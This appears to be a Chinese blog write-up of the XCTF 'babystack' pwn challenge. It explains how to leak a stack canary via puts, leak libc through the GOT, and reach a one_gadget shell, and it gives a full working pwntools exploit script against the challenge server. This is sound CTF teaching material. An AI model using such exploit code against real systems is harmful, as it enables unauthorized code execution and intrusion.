CTF中的PWN——绕canary防护3(puts带出canary 泄露函数地址计算基地址)

前言:

    想要学好pwn,首先要看懂wp。此题断断续续占用了我两三天,原谅我太菜了。此题为攻防世界的babystack。金丝雀前文叙述过,此处不再阐述,绕过的首选办法就是想办法得到canary的值,因为程序每次load的时候canary都不同,但是一个进程中的所有方法的金丝雀的值都相同。得到canry的值后构造payload即可。

题目:babystack-攻防世界

    file及checksec查看软件详细信息:

软件详细信息

    可以看到软件为64bit,PIE剩下的防护都开了,将程序放入IDA64静态分析:
 

    分析一下main函数,可以看到选项1为向&s位置读入最大0x100存储单元的功能,选项2为通过puts函数输出&s位置的值,而选项3的作用是返回,注意:一般返回的选项都是为了触发return,就是pop eip进而执行payload中的关键函数或其他功能。显而易见选项1中的read函数存在栈溢出漏洞。

 

 

     canary值得地址为rbp - 8,这里第一个知识点,通过puts(&s)函数可以将canary的值“带出来”,输入点距离canary为0x88,即输入0x88个存储单元后后面的就是canary,一般canary最后为\x00,此方法可得到canary的值。而方法中无system等函数,在libc中查找文件中关键函数的offset即可,本文使用one_gadget工具查找:

    找到execve("/bin/sh") 在libc中的偏移量后需要通过泄露puts地址来计算libc的基地址,puts的真实地址存在puts@got表中,函数在libc文件中。可以通过puts函数泄露puts的地址然后计算加载的libc文件的基地址,最后计算execve("/bin/sh")的实际地址。payload如下:

from pwn import *

io = remote('111.198.29.45', 33708)
#io = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')

rdi_ret = 0x0000000000400a93
# start_addr = elf.symbols['__bss_start']
start_addr = 0x0000000000400720
#start_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
one_gadget = 0x45216

print "========leak canary========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88
io.sendline(payload)
io.sendlineafter(">> ", str(2))
io.recvuntil("a" * 0x88 + '\n')
canary = u64(io.recv(7).rjust(8, '\x00'))
print ("canary=>" +hex(canary))

print "========leak libc_base========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendline(payload)
io.sendlineafter(">> ", str(3))

puts_addr = u64(io.recv(8).ljust(8, '\x00'))
print ("puts_addr=>" +hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + one_gadget

print "========get shell========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(one_gadget) 
io.sendline(payload)
io.sendlineafter(">> ", str(3))

io.interactive()

    脚本执行结果如下: 

总结:

    此题总结几个知识点:

  1.     puts()函数可泄露金丝雀的地址。
  2.     金丝雀的结尾一般为\x00,在64bit中,一般为7位,最后一位为0。
  3.     p64(got)为put函数的实际地址,plt为调用put函数,后面最后加一个main是为了一次溢出后程序的继续执行。
  4.     此题用one_gadget查找的gadget,应该system('/bin/sh\x00')也可以。
  5.     在用one_gadget中,第一行的条件是rax=null,而检查金丝雀之前也将rax置零了。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章